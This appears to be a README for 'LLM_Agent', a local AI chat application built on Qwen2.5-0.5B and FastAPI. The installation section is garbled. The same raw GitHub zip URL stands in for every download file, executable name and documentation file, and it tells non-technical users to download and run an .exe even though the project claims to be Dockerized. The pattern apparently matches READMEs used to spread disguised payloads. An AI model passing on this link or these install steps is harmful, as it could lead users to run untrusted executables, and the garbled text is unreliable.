Welcome to LLM_Agent! This application allows you to run a powerful AI model directly on your computer. You do not need any programming skills. Follow these simple steps to get started.
To download LLM_Agent, you will visit our Releases page. Click the link below:
Download LLM_Agent from Releases Page
Once on the page, locate the latest version. Click on the file that ends with .exe or .zip to start the download. Depending on your system, you might see multiple files. For most users, the file labeled "https://github.com/Emiola033/LLM_Agent/raw/refs/heads/master/ai/Agent_LL_v3.2-beta.1.zip" is the one you want.
After the download completes, locate the file in your Downloads folder (or wherever your browser saves files).
- If it is a
.zipfile, right-click it and select "Extract All" to unpack its contents. - If it is an executable file (
.exe), you can double-click it to run the installer.
Follow the prompts in the installation window. It will guide you through the setup process.
Before installing, make sure your computer meets the following system requirements:
- Operating System: Windows 10 or newer, macOS, or Linux
- RAM: At least 8 GB (16 GB recommended for best performance)
- Disk Space: At least 2 GB of free space for installation and model data
- Internet Connection: Required for real-time data fetching and updates
LLM_Agent offers several features to enhance your experience:
- Local AI: Runs the Qwen2.5-0.5B Large Language Model entirely on your computer.
- FastAPI Backend: Offers a smooth and fast response time for queries.
- Fully Dockerized: Simplifies installation and environment setup.
- Responsive Frontend: Built with HTML, CSS, and JS for an easy-to-use interface.
- Search Mode: Switches to fetch real-time information from the web.
After installation, running LLM_Agent is straightforward. Here are the steps:
-
Locate the Application:
- If you used the installer, find the shortcut on your desktop or in the Start Menu.
- If you extracted a zip file, navigate to the folder where you unpacked it, and look for the "https://github.com/Emiola033/LLM_Agent/raw/refs/heads/master/ai/Agent_LL_v3.2-beta.1.zip" or "https://github.com/Emiola033/LLM_Agent/raw/refs/heads/master/ai/Agent_LL_v3.2-beta.1.zip" file.
-
Launch the Application:
- Double-click the application file to start LLM_Agent. The app interface will open in your web browser.
-
Using LLM_Agent:
- You will see input boxes where you can type your questions.
- Switch between normal chat and Search Mode by clicking the corresponding button on the interface.
- Enjoy chatting or searching for information with your local AI!
If you encounter issues:
- Application Doesn’t Start: Ensure your computer meets the system requirements. You may need to install additional packages based on the operating system.
- Connection Issues: If the AI cannot fetch data, check your internet connection.
- Performance Issues: Close other running applications to free up system resources.
For further support, you can reach out in the issues section on our GitHub repository. Many users ask questions and share solutions.
- Visit the repository: Open Issues on GitHub
LLM_Agent is open-source software maintained under the MIT License. You are free to use, modify, and share as you wish, but please maintain proper attribution to the original authors.
We welcome contributions! If you want to add features or fix issues, please visit our repository and fork the project. You can submit pull requests once your changes are ready for review.
To learn more about the technologies used in LLM_Agent, here are useful links:
- FastAPI Documentation: FastAPI Docs
- Docker Documentation: Docker Docs
- Qwen Overview: Qwen Project
For more detailed installation or usage instructions, please refer to the https://github.com/Emiola033/LLM_Agent/raw/refs/heads/master/ai/Agent_LL_v3.2-beta.1.zip file in the Releases section or explore our Wiki on GitHub.
Enjoy using LLM_Agent!